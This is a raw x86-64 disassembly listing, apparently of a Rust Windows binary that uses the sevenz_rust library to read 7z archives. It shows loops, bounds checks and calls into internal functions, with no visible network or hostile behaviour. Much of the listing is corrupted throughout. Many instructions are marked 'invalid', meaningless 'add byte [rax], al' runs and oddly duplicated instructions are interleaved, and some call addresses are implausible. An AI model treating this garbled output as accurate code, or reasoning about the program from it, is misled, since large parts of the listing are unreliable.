cmp rax, qword [rbp + 0x3b8]
jae 0x1401412d1
and qword [rbp + 0x190], 0
lea rax, [rbp + 0x1a8]
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
and qword [rax + 0x1f], 0
mov qword [rbp + 0x198], 1
and qword [rbp + 0x1a0], 0
mov byte [rbp + 0x250], 0
add dh, al
test esi, eax
add eax, dword [rax]
add byte [rcx], al
mov rcx, rsi
mov rdx, rbx
push 1
pop r8
call fcn.140137477
mov r13, rax
test rax, rax
jne 0x1401435d5
movzx esi, byte [rbp + 0x250]
mov eax, esi
and eax, 0xf
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x3c6], 1
lea rcx, [rbp + 0x190]
call fcn.140177037
mov r8, rdx
mov byte [rbp + 0x3c6], 1
mov rcx, qword [rbp + 0x3b0]
mov rdx, rax
call fcn.140140339
test sil, 0x10
jne 0x140141156
push 1
pop r13
mov qword [rbp + 0x1b0], r13
mov qword [rbp + 0x1b8], r13
mov rdi, r13
jmp 0x1401411c7
invalid
mov byte [rbp + 0x3c6], 1
mov rcx, rbx
mov rdx, qword [rbp + 0x3b0]
call fcn.14014025e
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x14014175d
add byte [rax], al
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x1b0], rax
mov byte [rbp + 0x3c6], 1
test esi, eax
add eax, dword [rax]
add byte [rcx], al
mov rcx, rbx
mov rdx, qword [rbp + 0x3b0]
call fcn.14014025e
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x14014175d
mov rdi, qword [rbp + 0x258]
mov qword [rbp + 0x1b8], rdi
mov eax, 0x4c000001
mov ebp, dword [rbp + 0x1b0]
test sil, 0x20
je 0x140141253
mov byte [rbp + 0x3c6], 1
mov rcx, rbx
mov rdx, qword [rbp + 0x3b0]
call fcn.140140209
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x14014175d
invalid
add byte [rax], al
mov rdx, qword [rbp + 0x258]
mov byte [rbp + 0x3c6], 1
lea rcx, [rbp - 0x40]
call fcn.1401c5a79
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
mov rcx, qword [rbp + 0x3b0]
mov qword [rbp + 0x2e8], rdx
add byte [rax], al
call fcn.140140339
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
call fcn.14006095a
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x1a0], rax
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x190], xmm0
movaps xmm0, xmmword [rbp + 0x190]
mov rax, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a8]
movaps xmm1, xmmword [rbp + 0x1b0]
movaps xmm2, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0x280], xmm2
movaps xmmword [rbp + 0x270], xmm1
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], rcx
movaps xmmword [rbp + 0x250], xmm0
mov byte [rbp + 0x3c6], 0
lea rcx, [rbp - 0x28]
mov rdx, rbx
call fcn.1401400ad
test sil, sil
js 0x14014360a
mov rax, qword [rbp + 0x3a8]
inc rax
add r15, r13
add r14, rdi
mov rsi, qword [rbp + 0x3b0]
mov al, 3
add byte [rax], al
jmp 0x14014108f
lea rcx, [rbp + 0x2f0]
call fcn.14013feed
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x300], rax
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x350], r15
mov rax, r14
mov qword [rbp + 0x358], r14
mov ch, 0x58
add eax, dword [rax]
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
invalid
add byte es:[rax], al
dec r14
lea rcx, [rbp + 0x78]
mov qword [rbp + 0x2d8], r14
mov rdx, r14
call fcn.14013ff31
xor edi, edi
mov rbx, qword [rbp + 0x3b0]
lea r13, [rbp + 0x78]
invalid
mov qword [rbp + 0x2e8], rdi
cmp rdi, qword [rbp + 0x2d8]
jae 0x1401413a6
lea rcx, [rbp + 0x250]
mov rdx, rbx
call fcn.14014025e
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x1401436fb
mov rsi, qword [rbp + 0x258]
lea rcx, [rbp + 0x250]
lea ecx, [rbp + 0x250]
mov rdx, rbx
call fcn.14014025e
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x1401436fb
mov rax, qword [rbp + 0x2e8]
lea rdi, [rax + 1]
mov r8, qword [rbp + 0x258]
add byte [rax], al
mov rcx, r13
mov rdx, rsi
call fcn.140140065
jmp 0x140141330
mov rcx, qword [rbp + 0x308]
mov rdx, qword [rbp + 0x310]
call fcn.140132e14
mov rax, qword [rbp + 0x88]
lea rcx, [rbp + 0x300]
mov qword [rcx + 0x18], rax
movups xmm0, xmmword [rbp + 0x78]
movups xmmword [rcx + 8], xmm0
mov rdi, r15
sub rdi, qword [rbp + 0x2d8]
jb 0x1401439ba
lea rcx, [rbp + 0xa8]
xor edx, edx
mov r8, rdi
call fcn.1401762f1
cmp rdi, 1
jne 0x14014145a
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x3a0], rax
mov rbx, qword [rbp + 0x318]
xor ecx, ecx
cmp rcx, r15
jae 0x140143838
mov rsi, rcx
mov rcx, qword [rbp + 0x3a0]
mov rdx, rbx
mov r8, rsi
call fcn.140176eda
lea rcx, [rsi + 1]
test rax, rax
jne 0x140141411
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
xor r8d, r8d
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov qword [rax], rsi
jmp 0x1401414cd
mov rsi, qword [rbp + 0xb0]
mov r15, qword [rbp + 0xb8]
xor r13d, r13d
cmp r13, rdi
jae 0x1401414b8
lea rcx, [rbp + 0x250]
mov rdx, qword [rbp + 0x3b0]
call fcn.14014025e
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x140143855
mov rbx, qword [rbp + 0x258]
mov rcx, rsi
mov rdx, r15
mov r8, r13
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
inc r13
mov qword [rax], rbx
sbb bl, ch
invalid
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x3a0], rax
mov rbx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x320]
mov rdx, qword [rbp + 0x328]
call fcn.140174a51
mov rax, qword [rbp + 0xb8]
add byte [rax], al
lea rsi, [rbp + 0x320]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xa8]
movups xmmword [rsi], xmm0
mov rax, qword [rbp + 0x2f0]
mov r12b, byte [rbp + 0x2f8]
mov cl, byte [rbp + 0x2f9]
mov byte [rbp + 0x2a8], cl
lea rdx, [rbp + 0x300]
mov ecx, dword [rdx - 6]
mov dword [rbp + 0x208], ecx
movzx ecx, word [rdx - 2]
mov word [rbp + 0x20c], cx
mov r13, qword [rbp + 0x300]
mov r15, qword [rbp + 0x308]
push 0xb
pop rcx
mov rdi, rbp
rep movsq qword [rdi], qword [rsi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1401439f9
mov r14, qword [rbp + 0x230]
inc r14
movzx ecx, word [rbp + 0x20c]
mov word [rbp + 0x64], cx
mov ecx, dword [rbp + 0x208]
mov dword [rbp + 0x60], ecx
push 0xb
pop rcx
lea rdx, [rbp + 0x120]
mov rdi, rdx
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0xf0], rax
add byte [rax + rcx*4 - 0x5b], al
clc
add byte [rax], al
add byte [rdx + 0x2a885], cl
add byte [rax + 0xf985], cl
add byte [rdi], cl
mov bh, 0x45
mov word fs:[rdx - 0x22], ax
mov eax, dword [rbp + 0x60]
mov dword [rdx - 0x26], eax
mov qword [rbp + 0x100], r13
add byte [rcx + rcx*4 - 0x43], cl
or byte [rcx], al
add byte [rax], al
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rbx
mov rcx, qword [rbp + 0x238]
lea rdx, [rbp + 0xf0]
call fcn.140144b20
mov rcx, r14
mov qword [rbp + 0x2a0], rbx
mov rbx, qword [rbp + 0x248]
jmp 0x140140fe9
xor r13d, r13d
lea r14, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
xor esi, esi
mov rbx, qword [rbp + 0x3b8]
cmp rbx, qword [rbp + 0x3a8]
je 0x1401416f3
lea rax, [rbx + 0x88]
mov qword [rbp + 0x3b8], rax
mov dword [rbp + 0x3b8], eax
mov r15, qword [rbx + 0x78]
cmp r15, 1
jne 0x140141675
cmp byte [rbx + 0x80], 0
je 0x140141675
lea rcx, [rbp + 0x108]
mov rdx, r13
call fcn.140138484
mov rbx, qword [rbx + 0x70]
mov rcx, qword [rbp + 0x130]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg ebp, eax
cmp byte [rcx], al
add byte [rax], al
mov r8, r13
mov r9, r14
call fcn.140024925
mov qword [rax], rbx
inc r13
jmp 0x14014160c
xor r12d, r12d
cmp r12, r15
jae 0x14014160c
mov rcx, rbp
mov rdx, rsi
call fcn.1401385c7
test al, al
je 0x14014169d
lea rcx, [rbp + 0x108]
mov rdx, r13
call fcn.140138484
jmp 0x1401416ac
lea rcx, [rbp + 0x108]
mov rdx, r13
call fcn.140144941
mov rcx, qword [rbp + 0x2e8]
mov rdx, rdi
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x138]
mov r8, r13
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
inc r12
mov qword [rax], rbx
sbb byte [rcx - 1], cl
invalid
inc rsi
jmp 0x140141678
lea rdx, [rbp + 0x190]
mov byte [rdx], 0
push 1
add dword [rcx + 0x58], eax
mov rcx, qword [rbp + 0x3b0]
call fcn.140137477
mov r13, rax
test rax, rax
ror byte [rdi], 0x84
xchg edx, eax
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x2f0]
mov rdx, qword [rbp + 0x2e8]
call fcn.140174a51
mov rcx, qword [rbp + 0x3a0]
mov rdx, qword [rbp + 0x2d8]
call fcn.14008fcb1
mov r12b, 4
movabs r15, 0x8000000000000000
push 1
pop rdi
xor esi, esi
mov r14, qword [rbp + 0x388]
jmp 0x1401417ee
mov al, byte [rbp + 0x251]
mov byte [rbp + 0x2a8], al
lea rcx, [rbp + 0x252]
mov eax, dword [rcx]
mov dword [rbp + 0x208], eax
movzx eax, word [rcx + 4]
add al, 0x66
mov dword [rbp + 0x20c], eax
mov r13, qword [rbp + 0x258]
mov r15, qword [rbp + 0x260]
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x3a0], rax
test dword [rax + 0x48000003], esp
movabs al, byte [0x270858b48000003]
mov eax, dword [rbp + 0x270]
jmp 0x1401435ee
mov r14b, byte [rbp + 0x190]
mov rcx, qword [rbp + 0x2f0]
mov rdx, qword [rbp + 0x2e8]
call fcn.140174a51
mov rcx, qword [rbp + 0x3a0]
add byte [rax - 0x75], cl
xchg ebp, eax
fadd dword [rdx]
add byte [rax], al
call fcn.14008fcb1
mov rbx, qword [rbp + 0x3b0]
test r14b, r14b
mov r14, qword [rbp + 0x388]
je 0x140141819
mov r12b, 0xa
lea rcx, [rbp + 0xf0]
call fcn.140144972
movzx eax, word [rbp + 0x254]
mov word [rbp + 0x2b4], ax
mov eax, dword [rbp + 0x250]
mov dword [rbp + 0x2b0], eax
jmp 0x1401405a5
push 0xa
pop r15
lea r12, [rbp + 0x2f0]
lea rsi, [rbp + 0xf0]
mov rcx, r15
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2e0]
lea rdi, [rax + 0xe0]
mov rcx, rdi
call fcn.14014492d
mov rcx, r15
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov byte [r12], 0
lea rdx, [rbp + 0x2f0]
xchg ebp, eax
lock add al, byte [rax]
add byte [rdx + 1], ch
pop rdi
mov rcx, rbx
mov r8, rdi
call fcn.140137477
test rax, rax
jne 0x140140593
mov bl, byte [rbp + 0x2f0]
movabs rsi, 0x8000000000000000
mov r15, qword [rbp + 0x3b0]
mov r12, qword [rbp + 0x2e0]
test bl, bl
je 0x1401418a0
mov r12b, 7
jmp 0x1401405a5
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop r8
mov rcx, r15
call fcn.140137477
test rax, rax
jne 0x1401404f4
mov al, byte [rbp + 0x2f0]
cmp al, 5
jne 0x1401432bf
sbb dword [rax], eax
invalid
sbb dword [rax], eax
add byte [rcx + rcx*4 - 0x5b], cl
loopne 0x1401418d4
mov qword [rbp + 0x2e0], r12
add byte [rax], al
mov qword [rbp + 0x398], rsi
lea rsi, [rbp + 0x2f0]
mov rcx, rsi
int1
mov qword [rbp + 0x3b0], r15
mov rdx, r15
cli
cli
call fcn.140140209
mov r13b, byte [rsi]
cmp r13b, 0x12
cmp ch, 0x12
jne 0x1401419f9
invalid
mov rbx, qword [rbp + 0x2f8]
add byte [rax], al
push 1
pop rax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x2f8], eax
add al, byte [rax]
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
add eax, dword [rax]
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
adc byte [rbx], al
add byte [rax], al
add byte [rdx + 0x28], ch
add al, byte [rax]
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
add eax, dword [rax]
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
adc byte [rbx], al
add byte [rax], al
add byte [rdx + 0x28], ch
pop rcx
xor edx, edx
call fcn.140176508
test rax, rax
je 0x140143b95
add byte [rax - 0x75], cl
lea edx, [rax]
add eax, dword [rax]
add byte [rax - 0x77], cl
and byte [rdi], cl
adc byte [rbp + 0x2f0], al
mov rcx, qword [rbp + 0x310]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rbp + 0x2f0]
movups xmm1, xmmword [rbp + 0x300]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
and qword [rbp + 0x2f0], 0
mov qword [rbp + 0x2f8], 1
clc
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add byte [rbx], al
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
clc
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add byte [rbx], al
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
and dword [rbp + 0x350], 0
movups xmmword [rbp + 0x330], xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x308], rax
or byte [rbx], al
add byte [rax], al
test rbx, rbx
mov qword [rbp + 0x3a8], rbx
mov qword [rbp + 0x388], r14
je 0x140141a32
imul rsi, rbx, 0x68
movabs rax, 0x13b13b13b13b13b
cmp rbx, rax
ja 0x140143ba5
push 8
pop r15
mov rcx, r15
mov rdx, rsi
call fcn.14013276d
test rax, rax
ror byte [rdi], 0x84
mov bh, 0x21
add byte [rax], al
ror byte [rdi], 0x84
mov bh, 0x21
add byte [rax], al
mov rdi, rax
mov rax, rbx
jmp 0x140141a37
mov eax, dword [rbp + 0x2f1]
mov ecx, dword [rbp + 0x2f4]
mov dword [rbp + 0x393], ecx
mov dword [rbp + 0x390], eax
mov rdx, qword [rbp + 0x2f8]
mov edx, dword [rbp + 0x2f8]
mov edx, dword [rbp + 0x2f8]
mov rbx, qword [rbp + 0x300]
mov r15, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x310]
jmp 0x140142884
push 8
pop rdi
xor eax, eax
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rdi
mov ebp, 0x258
push rax
add al, byte [rax]
add byte [rax - 0x77], cl
mov ebp, 0x258
and qword [rbp + 0x260], 0
mov rax, qword [rbp + 0x2f8]
test eax, edi
add al, byte [rax]
add byte [rax - 0x77], cl
test eax, ebp
call 0x188141a5e
mov eax, dword [rbp + 0x300]
mov qword [rbp + 0x2d8], rax
mov r13, qword [rbp + 0x308]
lodsd eax, dword [rsi]
or byte [rbx], al
add byte [rax], al
mov rax, qword [rbp + 0x310]
mov qword [rbp + 0x3a0], rax
add eax, dword [rax]
add byte [rax - 0x75], cl
test dword [rax], ebx
add eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax + 0x48000002], esp
mov eax, dword [rbp + 0x320]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x330]
mov qword [rbp + 0x298], rax
mov al, byte [rbp + 0x34c]
mov byte [rbp + 0x248], al
mov al, byte [rbp + 0x34d]
mov byte [rbp + 0x238], al
test dword [rax], edi
add al, byte [rax]
add byte [rdx + 0x34e85], cl
add byte [rax + 0x22885], cl
add byte [rax], al
add byte [rax], al
mov al, byte [rbp + 0x34f]
mov byte [rbp + 0x220], al
and byte [rdx], al
add byte [rax], al
mov al, byte [rbp + 0x350]
mov byte [rbp + 0x178], al
add dword [rax], eax
add byte [rdx + 0x35185], cl
test dword [rcx + 3], edx
add byte [rax], al
mov byte [rbp + 0x180], al
add byte [rax], al
add byte [rax], al
mov al, byte [rbp + 0x352]
mov byte [rbp + 0x188], al
mov r12b, byte [rbp + 0x353]
mov rsi, qword [rbp + 0x338]
cmp byte [rbx], al
add byte [rax], al
cmp byte [rbx], al
add byte [rax], al
mov r15, qword [rbp + 0x340]
mov ebx, dword [rbp + 0x348]
xor r14d, r14d
mov qword [rbp + 0x3b8], r14
inc r14
cmp r14, qword [rbp + 0x3a8]
jae 0x140141c13
add eax, dword [rax]
add byte [rcx - 1], cl
invalid
lea rcx, [rbp + 0xf0]
mov rdx, qword [rbp + 0x2e8]
mov r8, qword [rbp + 0x2d8]
call fcn.140004a30
in al, dx
push rax
inc qword [r13]
jle 0x140143c88
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rbp + 0xf0]
movaps xmmword [rbp], xmm0
mov qword [rdi + 0x10], rax
movups xmmword [rdi], xmm0
invalid
mov qword [rdi + 0x18], r13
mov rax, qword [rbp + 0x3a0]
add byte [rax - 0x77], cl
and byte [r8 - 0x75], r9b
test dword [rax + 0x48000002], esp
movabs al, byte [0x4828478948000002]
sub byte [r8 - 0x75], r9b
test dword [rax + 0x48000002], ebp
mov dword [rdi + 0x30], eax
mov rax, qword [rbp + 0x230]
mov eax, dword [rbp + 0x230]
test dword [rax], esi
add al, byte [rax]
add byte [rax - 0x77], cl
cmp byte [r8 - 0x75], r9b
test dword [rax + 0x48000002], ebx
mov dword [rdi + 0x40], eax
invalid
test dword [rax], esi
add al, byte [rax]
add byte [rax - 0x77], cl
cmp byte [r8 - 0x75], r9b
test dword [rax + 0x48000002], ebx
mov dword [rdi + 0x40], eax
mov qword [rdi + 0x48], rsi
mov qword [rdi + 0x50], r15
mov dword [rdi + 0x58], ebx
mov al, byte [rbp + 0x248]
mov byte [rdi + 0x5c], al
mov al, byte [rbp + 0x238]
mov byte [rdi + 0x5d], al
mov al, byte [rbp + 0x228]
mov byte [rdi + 0x5e], al
mov al, byte [rbp + 0x220]
mov byte [rdi + 0x5f], al
mov al, byte [rbp + 0x178]
mov byte [rdi + 0x60], al
mov al, byte [rbp + 0x180]
mov byte [rdi + 0x61], al
mov al, byte [rbp + 0x188]
mov byte [rdi + 0x62], al
mov byte [rdi + 0x63], r12b
add rdi, 0x68
push 0xffffffffffff15e9
invalid
invalid
invalid
invalid
mov rbx, qword [rbp + 0x3a8]
test rbx, rbx
je case.0x140056e1a.495
push 0xd
pop rcx
lea rsi, [rbp + 0x2f0]
rep movsq qword [rdi], qword [rsi]
or eax, 0xb58d4859
lock add al, byte [rax]
add bl, dh
movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x260], r14
mov r14, qword [rbp + 0x388]
jmp 0x140141c5d
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x260], rax
lea rcx, [rbp + 0x2f0]
lea ecx, [rbp + 0x2f0]
lea ecx, [rbp + 0x2f0]
call fcn.1401447ed
mov r14, qword [rbp + 0x388]
movups xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x1d0], xmm0
mov rax, qword [rbp + 0x260]
add al, byte [rax]
add byte [rax - 0x77], cl
test eax, esp
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x6f7a76b8], al
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 2], edx
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x77], cl
test eax, esp
add dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x6f7a76b8], al
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 2], edx
add byte [rax], al
mov qword [rbp], rax
xor r12d, r12d
lea rdi, [rbp + 0x2f0]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2e8], rax
call 0x188141cb0
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
test al, 2
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x77], cl
test dword [rax + 0x44000002], ebp
mov byte [rbp + 0x2f0], ah
mov byte [rbp + 0x2f0], r12b
mov byte [rbp + 0x3c7], r12b
mov rcx, qword [rbp + 0x3b0]
mov rdx, rdi
push 1
pop r8
call fcn.140137477
push rdi
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
invalid
or eax, dword [rax]
invalid
push rdi
invalid
movzx esi, byte [rbp + 0x2f0]
add byte [rax], al
test esi, esi
je 0x1401428b0
mov byte [rbp + 0x3c7], 0
mov rcx, rdi
add byte [rax - 0x77], cl
stc
mov rdx, qword [rbp + 0x3b0]
call fcn.14014025e
mov r13b, byte [rbp + 0x2f0]
add al, byte [rax]
add byte [rcx - 0x80], al
std
adc cl, byte [rdi]
invalid
invalid
or al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x80], al
std
adc cl, byte [rdi]
test dword [rdx + 0x4c00000a], ebx
mov edi, dword [rbp + 0x2f8]
mov r15, qword [rbp + 0x2f8]
add esi, 0xfffffff2
cmp esi, 0xb
dec byte [rbx]
dec byte [rbx]
ja case.0x140141d34.22
mov r13b, 6
lea rcx, [0x14028c48c]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
mov r8, qword [rbp + 0x3b0]
mov eax, dword [rbp + 0x3b0]
mov rax, qword [r8 + 8]
add rax, r15
clc
clc
setb cl
test r15, r15
sets dl
xor dl, cl
jne 0x140143324
mov qword [r8 + 8], rax
jmp 0x140141cb4
mov byte [rbp + 0x2f0], r12b
mov byte [rbp + 0x3c7], r12b
add eax, dword [rax]
add byte [rax - 0x75], cl
lea esi, [rax + 0x48000003]
mov edx, edi
push 1
pop r8
call fcn.140137477
test rax, rax
test eax, eax
jne 0x1401427eb
invalid
add byte [rax + 0x2f0bd], al
cmp byte [rbp + 0x2f0], 0
add al, byte [rax]
add byte [rax], al
jne 0x1401433c6
add byte [rax], al
test r15b, 1
je 0x1401433d8
mov rcx, rdi
push 0x10
pop rdx
call fcn.1401c324d
cmp qword [rbp + 0x2f0], 0
cmp dword [rbp + 0x2f0], 0
cmp dword [rbp + 0x2f0], 0
mov rcx, qword [rbp + 0x2f8]
mov ecx, dword [rbp + 0x2f8]
jne 0x140143bbf
dec r15
mov rax, qword [rbp + 0x300]
mov eax, dword [rbp + 0x300]
mov eax, dword [rbp + 0x300]
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x3b0]
add eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax], ecx
add dword [rax], eax
add byte [rcx + rcx*4 - 0x43], cl
adc byte [rcx], al
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax], ecx
add dword [rax], eax
add byte [rcx + rcx*4 - 0x43], cl
adc byte [rcx], al
add byte [rax], al
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x1e0]
test eax, esp
add dword [rax], eax
invalid
mov qword [rbp + 0x3a0], rax
xor r12d, r12d
xor edi, edi
cmp r15, r12
jbe 0x1401426ee
and qword [rbp + 0x100], 0
and word [rbp + 0x246], 0
add byte [rax - 0x42], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x73], 0x9d
add r8b, byte [rax]
invalid
add byte [rax - 0x42], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x73], 0x9d
add r8b, byte [rax]
add byte [rax], al
add byte [rax], al
or byte [rax - 0x73], 0x9d
add r8b, byte [rax]
add byte [rbp + 0x39], cl
cld
cmp r12, r15
jae 0x140141eaa
mov rcx, qword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov rdx, rbx
push 2
pop r8
call fcn.140137477
test rax, rax
jne 0x14014277c
invalid
or dword [rax], eax
add dh, al
test eax, esi
add al, byte [rax]
add byte [rdx], dl
mov byte [rbp + 0x2f0], 0x12
add r12, 2
mov qword [rbp + 0x118], r12
movzx edx, word [rbp + 0x246]
test dx, dx
je 0x140141e9e
lea rcx, [rbp + 0xf0]
call fcn.140137506
push rsi
invalid
dec dword [rax - 0x73]
invalid
lock add al, byte [rax]
add al, ch
outsb dx, byte [rsi]
push rsi
invalid
dec dword [rbx + rcx*4 - 0x43]
adc byte [rcx], al
add byte [rax], al
mov r12, qword [rbp + 0x118]
jmp 0x140141e37
push rsi
invalid
lea rcx, [rbp + 0x2f0]
call fcn.1401374fc
invalid
dec dword [rax - 0x75]
xchg ebp, eax
clc
add byte [rax], al
add byte [rax], al
mov r8, qword [rbp + 0x100]
mov rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x100]
lea rcx, [rbp + 0xc0]
call fcn.140004890
mov rax, qword [rbp + 0xc0]
cmp rax, rsi
je 0x140143343
test byte [rdi + 0x14], ch
add byte [rax], al
test byte [rdi + 0x14], ch
add byte [rax], al
adc al, 0
add byte [rax - 0x77], cl
test dword [rax + 0x48000003], edi
mov eax, dword [rbp + 0xc8]
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov qword [rbp + 0x2d8], rax
mov rbx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0x230]
xor byte [rdx], al
add byte [rax], al
mov rdx, qword [rbp + 0x3a0]
xchg ebp, eax
movabs al, byte [0x8d4cf88949000003]
add eax, dword [rax]
add byte [rcx - 0x77], cl
clc
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
invalid
xchg ebp, eax
movabs al, byte [0x8d4cf88949000003]
add eax, dword [rax]
add byte [rcx - 0x77], cl
clc
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
invalid
call fcn.140014628
mov rsi, rax
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14006095a
mov rax, qword [rbp + 0x3b8]
mov qword [rsi], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rbx
inc rdi
mov rbx, qword [rbp + 0x3a8]
jmp 0x140141e0d
mov byte [rbp + 0x3c7], 0
add byte [rax], al
mov rcx, rdi
mov rdx, qword [rbp + 0x3b0]
mov r8, rbx
call fcn.1401381b8
mov r13b, byte [rbp + 0x2f0]
cmp r13b, 0x12
jne 0x1401427ae
mov rax, qword [rbp + 0x2f8]
mov rdx, rdi
add byte [rax - 0x77], cl
cli
mov rdi, qword [rbp + 0x300]
movups xmm0, xmmword [rbp + 0x308]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0xf0], rax
test eax, esi
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0xf8
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x100], eax
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x100], eax
add dword [rax], eax
invalid
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x200], rdi
mov rcx, qword [rbp + 0x3b0]
push 1
pop r8
call fcn.140137477
test rax, rax
jne 0x1401432f3
add byte [rdx + 0x2f085], cl
add byte [rax + 0xc085], cl
add byte [rax + rax*8 + 0x1569850f], al
add byte [rax], al
mov al, byte [rbp + 0x2f0]
mov byte [rbp + 0xc0], al
test al, al
jne 0x140143546
